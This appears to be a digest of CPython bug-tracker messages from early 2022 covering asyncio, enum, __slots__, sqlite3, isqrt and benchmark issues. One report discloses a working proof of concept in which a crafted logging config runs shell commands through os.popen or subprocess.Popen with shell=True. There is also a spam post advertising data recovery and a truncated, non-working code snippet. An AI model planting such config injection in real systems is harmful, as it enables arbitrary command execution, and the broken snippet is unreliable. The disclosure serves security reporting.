New submission from Nikita Sobolev <mail at sobolevn.me>:
When trying to import both `windows_events` and `windows_utils` on non-Windows, they both fail.
But, they fail differently. `windows_utils` produces a good error message, whil `windows_events` produces a strange one.
Good:
```
Python 3.11.0a3+ (heads/main:8d7644fa64, Dec 30 2021, 13:00:40) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import asyncio.windows_utils
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/Users/sobolev/Desktop/cpython/Lib/asyncio/windows_utils.py", line 6, in <module>
raise ImportError('win32 only')
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ImportError: win32 only
```
Not so good:
```
>>> import asyncio.windows_events
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/Users/sobolev/Desktop/cpython/Lib/asyncio/windows_events.py", line 3, in <module>
import _overlapped
^^^^^^^^^^^^^^^^^^
ModuleNotFoundError: No module named '_overlapped'
```
I propose to use the same error message `windows_utils` does.

Great throwback.
As far as I know, context managers are still not first class citizens. You cannot _compose_ two context managers into a new one programmatically in the language, in the same way that you can, for instance, compose two functions. Not even using "eval()" is this possible.
This means that the choice of context manager, or context managers, to be used, has to be known when writing the program. You cannot pass an assembled context manager in as an argument, or otherwise use a "dynamic" context manager at run time, unless you decide to use only a fixed number of nested ones. any composition of context managers becomes syntax _at the point of invocation_.
The restriction is similar to not allowing composition of functions, i.e. having to write
`fa(fb(fc()))` at the point of invocation and not have the capability of doing
```
def fd():
return fa(fb(fc))
...
fd()
```
I think my "ContextManagerExit" exception provided an elegant solution to the problem and opened up new and exciting possibilities for context managers and how to use them.
But this here note is just a lament. I've stopped contributing to core python years ago, because it became more of an excercise in lobbying than anything else.
Cheers!

Eryk Sun <eryksun at gmail.com> added the comment:
> On Windows the extension of "python.exe" is "exe", not ".exe".
FWIW, a file extension in Windows includes the dot. Trailing dots are stripped from filenames, so a file can't be named "python." because it's the same as just "python". (It's possible to prevent stripping trailing dots from a name by using a \\?\ literal path, but creating such a filename is a bad idea.)
The shell API's file associations include the dot in the file extension. Also, the PATHEXT environment variable (i.e. the list of extensions that a CLI shell should try appending in a PATH search) includes the dot in each extension. In both of the latter cases, an extension that's just "." matches a filename that has no extension. In other words, the "." file extension can be used to associate files that have no extension with a ProgID (i.e. a programmatic identifier, which defines properties and actions for a file type), and adding "." to PATHEXT includes files that have no extension in a PATH search.
To clarify further, here are some results from PathCchFindExtension() [1]:
import ctypes
path = ctypes.OleDLL('api-ms-win-core-path-l1-1-0')
s = (ctypes.c_wchar * 100)()
ext = ctypes.c_wchar_p()
>>> s.value = 'python.exe'
>>> _ = path.PathCchFindExtension(s, len(s), ctypes.byref(ext))
>>> ext.value
'.exe'
>>> s.value = '...exe'
>>> _ = path.PathCchFindExtension(s, len(s), ctypes.byref(ext))
>>> ext.value
'.exe'
>>> s.value = 'python.'
>>> _ = path.PathCchFindExtension(s, len(s), ctypes.byref(ext))
>>> ext.value
'.'

Well, so we can keep term "extension". But I think it is worth to clarify that "leading periods" is related to the last component, not the whole path. It is related to the original issue.

Subject: [issue46240] Incorrect hint about forgetting a comma
Message-ID: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org>
New submission from Andre Roberge <andre.roberge at gmail.com>:
Given the following code containing an unclosed parenthesis:
a = (1, 2
b = 3
Here is the resulting SyntaxError:
> python ignore.py
File "C:\...\ignore.py", line 1
a = (1, 2
^
SyntaxError: invalid syntax. Perhaps you forgot a comma?
This incorrect hint is present in 3.10.1 and 3.11.0a3.

Subject: [issue46241] importlib.utils.find_spec() has issues with "tests"
folder
Message-ID: <1641212511.26.0.576933804919.issue46241@roundup.psfhosted.org>
New submission from Dani?l van Noord <breeuwer.dragonder.0a at icloud.com>:
Affected folder structure:
?? module_loader
? ??? __init__.py
??? pyproject.toml
??? setup.cfg
??? tests
??? test_module_loader.py
```console
? cat '/Users/daniel/DocumentenLaptop/Programming/Test/module_loader/module_loader/__init__.py'
from importlib import util
def load_a_spec(modname):
return util.find_spec(modname)
```
```console
? cat '/Users/daniel/DocumentenLaptop/Programming/Test/module_loader/tests/test_module_loader.py'
from module_loader import load_a_spec
def test_me():
load_a_spec("tests")
```
When I run `pytest` from within the `module_loader` directory and inspect what `load_a_spec` returns I find that it returns:
ModuleSpec(name='tests', loader=<_frozen_importlib_external.SourceFileLoader object at 0x10a4b4820>, origin='/Users/daniel/DocumentenLaptop/Programming/Github/astroid/tests/__init__.py', submodule_search_locations=['/Users/daniel/DocumentenLaptop/Programming/Github/astroid/tests'])
It seems to take the `tests` folder from another project, in this case astroid, and returns its spec.
This is my `sys.path`, which might be relevant:
```console
for i in sys.path:print(i)
/Users/daniel/DocumentenLaptop/Programming/Test/module_loader/tests
/usr/local/bin
/usr/local/Cellar/python at 3.9/3.9.9/Frameworks/Python.framework/Versions/3.9/lib/python39.zip
/usr/local/Cellar/python at 3.9/3.9.9/Frameworks/Python.framework/Versions/3.9/lib/python3.9
/usr/local/Cellar/python at 3.9/3.9.9/Frameworks/Python.framework/Versions/3.9/lib/python3.9/lib-dynload
/Users/daniel/Library/Python/3.9/lib/python/site-packages
/usr/local/lib/python3.9/site-packages
/Users/daniel/DocumentenLaptop/Programming/Github/astroid
/Users/daniel/DocumentenLaptop/Programming/Github/DanielNoord/docstringformatter
/Users/daniel/DocumentenLaptop/Programming/Test/module_loader
/usr/local/Cellar/pybind11/2.8.1/libexec/lib/python3.9/site-packages
```
Let me know if I'm doing anything wrong, but I would expect the returned spec to be from `module_loader` instead of another project.

I've submitted my changes as a separate PR.
I believe we should consider duplicating the apsw API, for users convenience. Pr. now, they are very similar, except for the "open blob" API: apsw uses `blobopen`, we currently use `open_blob`. I suggest changing it to `blobopen`.

Subject: [issue46242] Improve error message when creating an enum with
`__call__`
Message-ID: <1641216211.34.0.269752308501.issue46242@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now when creating a new `Enum`, we check not to extend `Enum` with existing `_member_names_`:
```python
Python 3.11.0a3+ (heads/main:8d7644fa64, Dec 30 2021, 13:00:40) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import enum
>>> class A(enum.Enum):
... a = 1
...
>>> class B(A): pass
...
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 398, in __prepare__
metacls._check_for_existing_members(cls, bases)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 850, in _check_for_existing_members
raise TypeError(
^^^^^^^^^^^^^^^^
TypeError: B: cannot extend enumeration 'A'
```
But when we try to use `A()` call to do the same, where what happens:
```
Python 3.11.0a3+ (heads/main:8d7644fa64, Dec 30 2021, 13:00:40) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import enum
>>> class A(enum.Enum):
... a = 1
...
>>> B = A('B', 'b')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 606, in __call__
return cls._create_(
^^^^^^^^^^^^^
File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 770, in _create_
_, first_enum = cls._get_mixins_(class_name, bases)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 899, in _get_mixins_
raise TypeError('Cannot extend enumerations')
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: Cannot extend enumerations
```
I propose to use the first error message in this case as well. Moreover, this behavior is not covered with tests:
```
? ag 'Cannot extend enumerations'
Lib/enum.py
899: raise TypeError('Cannot extend enumerations')
```
I will add tests for this edge case.

It will be hard to find reviewers for such a large PR. I suggest to remove mapping support and context manager support for now, and then add those features in separate PR's.

Subject: [issue46243] flash drive
Message-ID: <1641219962.27.0.329754076205.issue46243@roundup.psfhosted.org>
New submission from Home Learning Live <booth1664 at outlook.com>:
If you have a physical error such as a broken connector, circuit board, NAND memory chip of the drive, then the hardware needs to be replaced or repaired. Doing-it-yourself can lead to even worse situations. Better you get help from the experts in this area. You can hire any trusted data recovery company like Stellar Data Recovery which is specialized in recovering data from a physically damaged USB drive.
Below we have mentioned solutions to some common causes of physical issues with your USB drive.
a. Broken Stems and Connectors, & Dead Drives (no power to the USB):
A common indication of the physical errors is some kind of error messages or troubles that you see after connecting the USB. Common error messages are ?Please Insert Disk into Removable Disk? or ?USB Device Not Recognized or Malfunctioned?, ?you need to format the disk before using it?, RAW partition, dead or unresponsive drives, and damaged controller chips and/or circuit boards.
If the silver USB connector is broken or the circuit board is damaged it leads to power supply cut-off to the USB. In such case, soldering and circuit repair is required. It?s not advised to do it yourself as if anything goes wrong, you may permanently lose access to your USB and also it?ll reduce the chances of getting your data successfully recovered or sometimes impossible. To deal with above physical errors, specialized equipment and expertise are required. So better you hand over it to some professional and let them deal with the scenario.
b. Error: ?Please Insert Disk into Removable Disk?:
This error occurs when the flash drive controller software becomes corrupt. It can also happen if there are some issues with the NAND memory. The above error can be caused by low grade or generic NAND memory chips. With a frequent number of reads and writes, the state of the drive turns worse.
The error indicates that there is some issue with the NAND memory chips. Most probably the metadata stored in the NAND memory is corrupted or wiped and it can?t be mounted then, thus turning the drive unreadable. Whenever you try to read the drive, you will get the error message ?Please insert a disk into Removable Disk?. Also, if you try to check the drive size, it usually shows its capacity as 0 MB. As the device cannot be mounted on windows, if you check Device Manager under Disk drives, a different name for the USB drive will be listed. Also, the Disk Management shows a drive letter with No Media.
In such case, you need to search for manufacturers that perform USB data recovery or flash drive data recovery.
c. Undetectable USB Flash Drive:
You may not be able to use your USB drive because of some problems with the USB port, not with the USB drive. So, before performing any repair of the USB drive also make sure that the USB port is working fine.
To test the USB Port remove the USB drive, reboot your computer, and test the USB drive again. See if it works. It is possible that one port may not be working but all others are working fine. So try each port of your computer. If this doesn?t help, try the USB drive on some other computer.

New submission from Arie Bovenberg <a.c.bovenberg at gmail.com>:
The mixin class "typing._TypeVarLike" has no __slots__. Its subclasses do define __slots__, so it looks like a mistake.
Agree?
It should be an easy fix, and I'd like to pick this up.

Having given this some thougt, years laters, I believe it _is_ possible to write nested() (and nested_delayed()) in a correct way in python, without the ContextManagerExit function.
Behold!
import contextlib

"""
Instantiate and invoke context managers in a nested way. each argument is a callable which
returns an instantiated context manager
"""
if len(callables) > 1:

elif len(callables) == 1:
with callables[0]() as a:
yield (a,)
else:
yield ()
def nested(*managers):
"""

"""
def helper(m):
"""

def callable():
return m

I've also encountered other classes in the stdlib possibly missing slots:
- importlib.metadata.DeprecatedList (subclass EntryPoints has slots)
- xml.dom.minidom.Node, xml.dom.xmlbuilder.DocumentLS (5 subclasses have slots)
Will investigate.

If you have them, can you share your install logs (look in %TEMP% for files starting with "Python"). If not, please share your install options.
By default, this works fine. You have to make some specific modifications to the install options to do what you've done, such as choosing to install for all users and then overriding the install path to a per-user location. If you're installing just for yourself, the installer shouldn't even have the permissions required to modify system-wide environment variables.
It's also possible that your machine has a special configuration to do this, in which case you'll need to speak with your administrator to find out why. We can't help with that - we just use standard MSIs and let the OS choose where things go.

@khaledk I finally got some time off, so here you go https://github.com/99991/ParallelZipFile
I can not offer any support for a more correct implementation of the zip specification due to time constraints, but maybe the code is useful for you anyway.

Eryk Sun <eryksun at gmail.com> added the comment:
With just PATHCCH_ALLOW_LONG_PATHS, PathCchCombineEx() returns a long path as a normal path (i.e. not a \\?\ extended path) if long-path support is enabled for the current process. Otherwise, if long-path support isn't enabled or available, as is always the case in Windows 8.1, then PATHCCH_ALLOW_LONG_PATHS makes PathCchCombineEx() return a long path as an extended path. In most cases, extended paths work fine. A common exception is that extended paths aren't supported for the working directory.
In Windows 10+, PATHCCH_FORCE_ENABLE_LONG_NAME_PROCESS forces PathCchCombineEx() to always return a long path as a normal path, even if long-path support is disabled for the current process. For most cases, this option pretty much guarantees that long paths will cause immediate failures if long-path support is disabled for the current process. In some cases one might want an immediate failure, instead of messing around with extended paths that might fail in some obscure, buggy way. Also, for pure path manipulation one may not care whether the current process can access the path without the \\?\ prefix.

New submission from Arie Bovenberg <a.c.bovenberg at gmail.com>:
(as instructed in bpo-46244, I've created this ticket)
The subclass `EntryPoints` defines __slots__, but its base `DeprecatedList` does not.
This appears to be a mistake.
If so, I'd like to create a PR to fix it.

Guido van Rossum <guido at python.org> added the comment:
I wrote a tiny script that calls compile() on raw bytes read from some source file, does this 100 times, and reports the total time. I tested the script with Lib/pydoc_data/topics.py (which happens to be the largest source file in the CPython repo, but mostly string literals) and with Lib/test/test_socket.py (the second-largest file).
I built python.exe on a Mac with PGO/LTO, from "make clean", both before and after (at) PR 30177. For both files, the difference between the results is well in the noise caused by my machine (I don't have a systematic way to stop background jobs). But it's very clear that this PR cannot have been the cause of an 85% jump in the time taken by the python_startup benchmark in PyPerformance.
For topics.py, the time was around 7.2 msec/compile; for test_socket.py, it was around 38. (I am not showing separate before/after numbers because the noise in my data really is embarrassing.)
The compilation speed comes down to ~170,000 lines/sec on my machine (an Intel Mac from 2019; 2.6 GHz 6-Core Intel Core i7 running macOS Big Sur 11.6.1; it has clang 12.0.5).
It must be something weird on the benchmark machines. I suspect that a new version of some package was installed in the venv shared by all the benchmarks (we are still using PyPerformance 1.0.2) and that affected something, perhaps through a .pth file?

I ran the benchmarks machines with the revert and seems that it doesn't go back to the previous timing:
https://speed.python.org/timeline/#/?exe=12&ben=python_startup&env=1&revs=50&equid=off&quarts=on&extr=on
(check last data point for https://github.com/python/cpython/commit/9d35dedc5e7e940b639230fba93c763bd9f19c09).
So this seems that the difference in speed remains a mystery but is not due to this fix.

Tim Peters <tim at python.org> added the comment:
I was suprised that
https://bugs.python.org/issue44376
managed to get i**2 to within a factor of 2 of i*i's speed. The overheads of running long_pow() at all are high! Don't overlook that initialization of stack variables at the start, like
PyLongObject *z = NULL; /* accumulated result */
isn't free - code has to be generated to force zeroes into those variables. The initialization of `table[]` alone requires code to fill 256 memory bytes with zeroes (down to 128 on current main branch). Nothing is free.
We can't sanely move the `table` initialization expense into the "giant k-ary window exponentiation" block either, because every bigint operation can fail ("out of memory"), and the macros for doing the common ones (MULT and REDUCE) can do "goto Error;", and that common exit code has no way to know what is or isn't initialized. We can't let it see uninitialized stack trash.
The exit code in turn has a string of things like
Py_DECREF(a);
Py_DECREF(b);
Py_XDECREF(c);
and those cost cycles too, including tests and branches.
So the real "outrage" to me is why x*x took 17.6 nsec for x == 10 in the original report. That's many times longer than the HW takes to do the actual multiply. Whether it's spelled x*x or x**2, we're overwhelming timing overheads. `pow()` has many because it's a kind of Swiss army knife doing all sorts of things; what's `x*x`'s excuse? ;-)

Subject: [issue46248] Compilation errors on macOS
Message-ID: <1641238565.78.0.970913311215.issue46248@roundup.psfhosted.org>
New submission from Sandip Shah <sandipshah at vthrive.com>:
macOS Monterey 12.1
Python 3.10.1
Trying to compile libplist, libimobiledevice, libimobiledevice_glue generates the error
"Could not link test program to Python. Maybe the main Python library has been
installed in some non-standard library path. If so, pass it to configure,
via the LDFLAGS environment variable."
The fix is change the following lines (570-571) in /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/_sysconfigdata__darwin_darwin.py
from:
'LINKFORSHARED': '-Wl,-stack_size,1000000 -framework CoreFoundation '
'Python.framework/Versions/3.10/Python',
to:
'LINKFORSHARED': '-Wl,-stack_size,1000000 -framework CoreFoundation '
'/Library/Frameworks/Python.framework/Versions/3.10/Python',
Also, change the following line (110) in /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/config-3.10-darwin
from:
LINKFORSHARED= -Wl,-stack_size,1000000 -framework CoreFoundation $(PYTHONFRAMEWORKDIR)/Versions/$(VERSION)/$(PYTHONFRAMEWORK)
to:
LINKFORSHARED= -Wl,-stack_size,1000000 -framework CoreFoundation $(PYTHONFRAMEWORKINSTALLDIR)/Versions/$(VERSION)/$(PYTHONFRAMEWORK)
It seems the problem got created from - https://bugs.python.org/issue15298 - and most likely it exists in all the versions of Python (it exists in the native Python 2.7.18 that comes with macOS too.
Thanks.

Erlend E. Aasland <erlend.aasland at innova.no> added the comment:
GH-26026 / bpo-44092 has removed the old workaround where pending statements were reset before a rollback. Since version 3.7.11, SQLite no longer has any issues with pending statements and rollbacks, so we remove the workaround, since we require SQLite 3.7.15 or newer in CPython.
As a side effect, pysqlite_do_all_statements() has now been removed, as it is unused code.
Following GH-26026, this issue is no longer an issue; I close it as fixed.
Ma Lin: if you have problems with the LRU cache, please open a new issue.

Thanks for the report. Without more details, we can only guess at what you are trying to accomplish. I would assume it involves embedding Python in another library or application. If so, you should not be using LINKFORSHARED at all which is used to build Python itself (see, for example, Issue36508). Moreover, when embedding on macOS, we do not recommend trying to use the -framework argument to compile with or link to Python: it's too easy to get wrong. Instead, as shown in the use the "Extending and Embedding the Python Interpreter" section of the docset, use the output from the appropriate python3.x-config command, for example:
$ python3.10-config --cflags
-I/Library/Frameworks/Python.framework/Versions/3.10.1_11/include/python3.10 -I/Library/Frameworks/Python.framework/Versions/3.10.1_11/include/python3.10 -Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -arch arm64 -arch x86_64 -g
$ python3.10-config --ldflags
-L/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/config-3.10-darwin -ldl -framework CoreFoundation

Yes, it's ok. The only slight problem is that is suggests that first item is somehow special, but later it is explained that in fact it is not. :-) I would say "_Each_ item ..." (instead of "First") and without the "this is repeated for every item..." at the end, but as I said, this is also fine.

Message-ID: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org>
New submission from Erlend E. Aasland <erlend.aasland at innova.no>:
The query loop in _pysqlite_query_execute() is run only once for ordinary execute()'s, but multiple times for executemany(). We use the 'multiple' variable to differ between the two execute methods; for execute(), multiple is false, for executemany(), multiple is true. At the end of the loop, the 'lastrowid' connection attribute is set, if multiple is false. We can safely move this part out of the loop; it is irrelevant for executemany(), and it will only be run once for execute().

Message-ID: <1641245798.06.0.50879853581.issue46250@roundup.psfhosted.org>
New submission from VanjaVK <vkvanjavk at gmail.com>:
This kind of responsive design makes it hard to navigate to next or previous section easily. I don't see any UX gain having a fullscreen wide search with a hamburger-style menu. I also believe this is very unfriendly towards disabled people.

Thank you all for discussion and partial solution in latest Python versions and extending documentation.
For the future development of Python the initial question remains.
How to easy detect extensions for each file with standard python library function. Without programing own function to fix it.
Filenames with more dots could exist both in Unix and Windows worlds.
Nobody can't say (for example web app users). Please not use those files.
Python 3.10.1
Works fine:
>>> os.path.splitext('.some.jpg')
('.some', '.jpg')
>>> os.path.splitext('..some.jpg')
('..some', '.jpg')
Not usable:
>>> os.path.splitext('....jpg')
('....jpg', '')
There are some possible ways:
- new parametr
- new function
- change backward compatibility
- stay buggy forever
Thank you

Message-ID: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org>
New submission from MarkBaggett <lo127001 at gmail.com>:
I know there are multiple warnings about the use of eval() in the listener. But _resolve() and resolve() used by both fileConfig and dictConfig also seem like they can also be abused. Here is a working example.
$ ls /tmp/itworked
ls: cannot access '/tmp/itworked': No such file or directory
$ cat log.config
{
"version":1,
"formatters":{
"EXPLOIT":{
"class": "os.popen",
"format": "touch /tmp/itworked",
"datefmt": "r",
"style": 1
}
}
}
$ python calculator.py
/usr/lib/python3.8/subprocess.py:848: RuntimeWarning: line buffering (buffering=1) isn't supported in binary mode, the default buffer size will be used
self.stdout = io.open(c2pread, 'rb', bufsize)
WARNING:calculator.support_functions:Internet Confirmed.
WARNING:calculator.support_functions:Adder object exported!
WARNING:calculator.support_functions.adder:Set initial value to 0
WARNING:calculator:The result is 15
$ ls /tmp/itworked
/tmp/itworked
I could probably clean up that error message if I took 2 minute to refresh my os.popen knowledge, but I think you get the point. Are you aware of this issue?
Thanks for all you to on this import module!

'''

------------
I suspect the answer to this will be: "don't load untrusted configuration files". But I'll see what others have to say. There should probably be a warning about it somewhere. I didn't see anything.

MarkBaggett <lo127001 at gmail.com> added the comment:
"Dont load untrusted config files" is the answer I expected. It the only safe answer really. But is there really a mechanism to provide trust of an external config file other that file permissions? It doesn't seem like hmac or digital signatures work because you have to provide a mechanism to resign it every time they change a config. So an attacker could just resign after adding the exploit. Maybe file permissions is all we have.
Is it reasonable to say that all classes by _resolve() and resolve() should have "logger." at the top of them? If not perhaps the object could have a permitted list of top level packages that defaults to just "logger." but could be extended to others by the developer.

After GH-26026, the `reset` member of `pysqlite_Cursor` is now unused. We can remove it and all related code. PR coming.

Subject: [issue46187] Optionally support rounding for math.isqrt()
In-Reply-To: <1640633399.46.0.8152811809.issue46187@roundup.psfhosted.org>
Message-ID: <1641251219.7.0.589523437718.issue46187@roundup.psfhosted.org>
Tim Peters <tim at python.org> added the comment:
I've made several good-faith efforts to find any hint of demand for rounded isqrt on the web; I've found no direct support for it in other languages/environments(*); and the one use case you presented isn't compelling. Building static tables to help implement extended precision functions via scaled integer arithmetic is quite niche, and anyone numerically knowledgeable enough to pull that off will have no trouble figuring out how to roll their own isqrt rounding. For them, isqrtrem would make it dead easy.
Close to no demonstrated demand, and no demonstrated prior art, coupled with slowing down _every_ isqrt() call to cater to an overwhelmingly unused possibility (and, to boot, via the slowest possible way of specifying an option, on what should be a fast function), leaves me -1. No, I'm not a fan of the "big"/"little" mandatory arguments to int.{from,to}_bytes() either.
+0 on isqrtrem, though, because it follows established practice in a related context (mpz), and also offers efficient support for the related use case I actually found some (albeit small) demand for ("and was it a perfect square?").
(*) Other languages with an integer square root include Common Lisp, Julia, and Maple's programming language. None have an option for rounding. Maple's doesn't define the rounding used, other than to promise the result is less than 1 away from the infinitely precise result. Common Lisp and Julia return the floor. A number of environments essentially inherit isqrt from their Lisp base (e.g., wxMaxima).

At thing at this point we can confidently say that is very very unlike that there is no actual regression.
What's going on with the performance servers is something I still cannot explain. I at least can confirm the servers system packages were not updated between these runs but I cannot think of anything that could have influenced that change.
I propose to close this issue as we are clearly unable to reproduce said slowdown.

This shouldn't hold up releases, but (having spent months trying to improve startup speed) I would still like to get to the bottom of the speed.python.org regression.

The documentation change in the PR clarifies the current state of things.
@serhiy.storchaka - do you have a view on whether we should aim for an actual fix, or just document and close?

Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop
In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org>
Message-ID: <1641253751.15.0.329949671702.issue46249@roundup.psfhosted.org>
Erlend E. Aasland <erlend.aasland at innova.no> added the comment:
I see that PEP 249 does not define the semantics of lastrowid for executemany(). What's the precedence here, MAL? IMO, it would be nice to be able to fetch the last row id after you've done a 1000 inserts using executemany().
So, another option would be to keep "set-lastrowid" in the query loop, and just remove the condition; we set it every time (but of course only build a PyObject of it when the loop is done).

I made a competing PR (GH-30380) for this, just a little better (IMO); the Py object is only built on demand :)

__slots__
In-Reply-To: <1641235148.56.0.272435496464.issue46246@roundup.psfhosted.org>
Message-ID: <1641255188.59.0.829562527905.issue46246@roundup.psfhosted.org>
Jason R. Coombs <jaraco at jaraco.com> added the comment:
Perhaps it is a mistake. The `__slots__` were added as a (possible premature) optimization in [this conversation](https://github.com/python/importlib_metadata/pull/278/files#r565475347).
It's not obvious to me what the danger is in defining __slots__ in a child class but not in a parent. Can you point me to resources or examples that help me understand the concern or missed expectation? The primary motivation behind defining slots is to help ensure immutability. Does the lack of slots violate that expectation?
Convince me of the value of fixing this concern and please feel free to proceed with a PR.

I took the test cases for my PR, thanks.
On Windows machine, ntpath fails and posixpath passes. It seems that the passing one is tested with pure python code.

The documentation at https://docs.python.org/3/c-api/unicode.html?highlight=isalpha#unicode-character-properties lists a series of macros such as Py_UNICODE_ISSPACE(Py_UNICODE ch). However, the input type for these macros was changed from Py_UNICODE to Py_UCS4 in commit 324ac65cebf4b0141b946452a2604715f1ca7010 on Wed Aug 18 20:44:58 2010 +0000, but it seems that the documentation has never been updated. The fix should be easy; I'll make a PR for it.

I am sorry, I implemented this feature before opening this issue, but due to typo the PR was not linked here.

Subject: [issue46246] importlib.metadata.DeprecatedList appears to be missing
__slots__
In-Reply-To: <1641235148.56.0.272435496464.issue46246@roundup.psfhosted.org>
Message-ID: <1641283072.57.0.484148048317.issue46246@roundup.psfhosted.org>
Arie Bovenberg <a.c.bovenberg at gmail.com> added the comment:
@jaraco thanks for your quick response.
In short: __slots__ allows class layout to be optimized by replacing the class __dict__ with specific descriptors. This results in a class where only specific attributes can be get/set.
However, you only really get the savings from __slots__ if all base classes also implement it.
An example:
from pympler.asizeof import asizeof # checks complete size of objects in memory
class EmptyNoSlots: pass
class EmptyWithSlots: __slots__ = ()
class NoSlots:
def __init__(self, a, b): self.a, self.b = a, b
class WithSlots:
__slots__ = ("a", "b")
def __init__(self, a, b): self.a, self.b = a, b
print(asizeof(EmptyNoSlots())) # 152
print(asizeof(EmptyWithSlots())) # 32
print(asizeof(NoSlots(1, 2))) # 328
print(asizeof(WithSlots(1, 2))) # 112
# Let's look at inheritance:
class WithSlotsAndProperBaseClass(EmptyWithSlots):
__slots__ = ("a", "b")
def __init__(self, a, b): self.a, self.b = a, b
class NoSlotsAtAll(EmptyNoSlots):
def __init__(self, a, b): self.a, self.b = a, b
class WithSlotsAndBadBaseClass(EmptyNoSlots):
__slots__ = ("a", "b")
def __init__(self, a, b): self.a, self.b = a, b
print(asizeof(WithSlotsAndProperBaseClass(1, 2))) # 112
print(asizeof(NoSlotsAtAll(1, 2))) # 328
print(asizeof(WithSlotsAndBadBaseClass(1, 2))) # 232 -- oh no!
In importlib:
list <- has slots (builtin)
DeprecatedList(list) <- no __slots__ defined
EntryPoints(DeprecatedList) <- defines __slots__
Besides the lost memory savings, because `DeprecatedList` has no slots, you can still do:
EntryPoints().foo = 6 # setting a random attribute, not the intention.

Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:
Is
i, rem = isqrt_rem(n)
i + (rem != 0)
better than
(isqrt(n<<2) + 1) >> 1
or
n and isqrt(n-1) + 1
?
As for use cases, there were few cases in my experience when I needed the ceiling square root, mostly in simple experiments in REPL, but it was so rary, and workarounds satisfied me. So it would be a nice to have feature which I would use perhaps once in a year or two years, but can live without it. And I do not want to pay a cost of significantly complicating API or slowing down isqrt().

The DB-API deliberately leaves this undefined, since there are many ways you
could implement this, e.g.
- return the last row id for the last entry in the array passed to .executemany()
- return the last row id of the last actually modified/inserted row after
running .executemany()
- return an array of row ids, one for each row modified/inserted
- return a row id of one of the modified/inserted rows, without defining which
- always return None for .executemany()
Note that in some cases, the order of actions taken by the database is not
predefined (e.g. some databases run such inserts in chunks across
a cluster), so even the "last" semantics are not clear.
> So, another option would be to keep "set-lastrowid" in the query loop, and just remove the condition; we set it every time (but of course only build a PyObject of it when the loop is done).
Since the DB-API leaves this undefined, you are free to add your own
meaning, which makes most sense for SQLite, to always return None or
not implement it at all.
DB-API extensions such as Cursor.lastrowid are optional and don't need
to be implemented if they don't make sense for a particular use case:
https://www.python.org/dev/peps/pep-0249/#optional-db-api-extensions

Thank you for your input Marc-Andr?.
For SQLite, it's pretty simple: we use an API called sqlite3_last_insert_rowid() which takes the database connection as it's argument, not a statement pointer. This function returns "the rowid of the most recent successful INSERT into a rowid table or virtual table on database connection" (quote from SQLite docs). IMO, it would make sense to also use this post executemany().

Sounds like a plan.
If possible, it's usually better to have the .executemany() create a
cursor with an output array providing the row ids, e.g. using "INSERT ...
RETURNING ..." (PostgreSQL). That way you can access all row ids and
can also provide the needed detail in case the INSERTs happen out of
order to map them to the input data.
For cases where you don't need sequence IDs, it's often better to
not rely on auto-increment columns for IDs, but instead use random
pre-generated IDs. Saves roundtrips to the database and works nicely
with cluster databases as well.

Let me also mention that the problem really includes anything that uses the resolve() functions. Here is a working example that puts an exploit in a HANDLER rather than a FORMATTER.
$ ls /tmp/alsoworked
ls: cannot access '/tmp/alsoworked': No such file or directory
$ python calculator.py
$ ls /tmp/alsoworked
/tmp/alsoworked
$ cat log.config
{
"version":1,
"root":{
"handlers" : ["EXPLOIT"]
},
"handlers":{
"EXPLOIT":{
"class": "subprocess.Popen",
"args" : "touch /tmp/alsoworked",
"shell" : "True"
}
}
}
Or if you prefer it in one file..
-----------------------------
import logging.config
import json
log_config_txt = '''{
"version":1,
"root":{
"handlers" : ["EXPLOIT"]
},
"handlers":{
"EXPLOIT":{
"class": "subprocess.Popen",

schemes
In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org>
Message-ID: <1641304211.41.0.56737572323.issue43976@roundup.psfhosted.org>
Miro Hron?ok <miro at hroncok.cz> added the comment:
In Fedora 36+ / Python 3.10+ we now use an install_scheme that looks like this:
'purelib': '{base}/local/lib/python{py_version_short}/site-packages',
'platlib': '{platbase}/local/{platlibdir}/python{py_version_short}/site-packages',
'scripts': '{base}/local/bin',
'data': '{base}/local',
...
We got a user report [1] saying that `pip install --root ... --prefix /usr` the prefix is not respected at all.
That is, users expect that /usr/local is the prefix, and when they explicitly set it to /usr, the /local/ bit will not be there, while in reality, /local/ is not a part of the prefix, but it is a part of the installation scheme.
I can somehow relate to that assumption.
Now I wonder whether we should have adapted prefix instead of the installation scheme :/
Any ideas on how to approach this problem? I am quite clueless.

type) returning True
In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org>
Message-ID: <1641305338.61.0.0989825901782.issue45665@roundup.psfhosted.org>
Ken Jin <kenjin4096 at gmail.com> added the comment:
> It does seem inconsistent that Any is not considered a type but list[int] is
Yeah, almost none of the typing "types" are types ever since PEP 560. Issue45755 was a side effect too.

